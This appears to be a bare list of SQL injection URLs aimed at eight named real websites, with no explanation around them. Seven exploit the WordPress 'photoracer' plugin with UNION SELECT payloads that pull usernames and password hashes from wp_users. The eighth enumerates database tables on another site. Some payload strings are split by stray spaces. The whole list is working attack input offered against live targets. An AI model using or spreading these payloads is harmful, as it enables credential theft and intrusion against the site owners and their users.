http://jrandrachel.com/wordpress/wp-content/plugins/photoracer/viewimg.php?id=-4+union+select+1,concat_ws(user_login,0x3a,user_pa ss)+from+wp_users--

http://nudephotocontest.com/wp-content/plugins/photoracer/viewimg.php?id=-4+union+select+1,concat_ws(user_pass,0x3a,user_log in)+from+wp_users--

http://www.levelesyeux.com/wp-content/plugins/photoracer/viewimg.php?id=-2+union+select+1,concat_ws(user_login,0x3a,user_pa ss)+from+wp_users--

http://www.cagou.com/blog/wp-content/plugins/photoracer/viewimg.php?id=-31+union+select+1,concat_ws(user_login,0x3a,user_p ass)+from+wp_users--

http://www.chicasrider.cl/wp-content/plugins/photoracer/viewimg.php?id=-10+union+select+1,concat_ws(user_login,0x3a,user_p ass)+from+wp_users--

http://my.brilliantspot.com/wp_my/wp-content/plugins/photoracer/viewimg.php?id=-30+union+select+1,concat_ws(user_login,0x3a,user_p ass)+from+wp_users--

http://www.ilovepasta.it/pasta/wp-content/plugins/photoracer/viewimg.php?id=-2+union+select+1,concat_ws(user_login,0x3a,user_pa ss)+from+wp_users--

http://tronderglass.no/pfNewsDetail.php?NewsId=-12+union+select+1,2,group_concat(TABLE_NAME),4+fro m+information_schema.tables--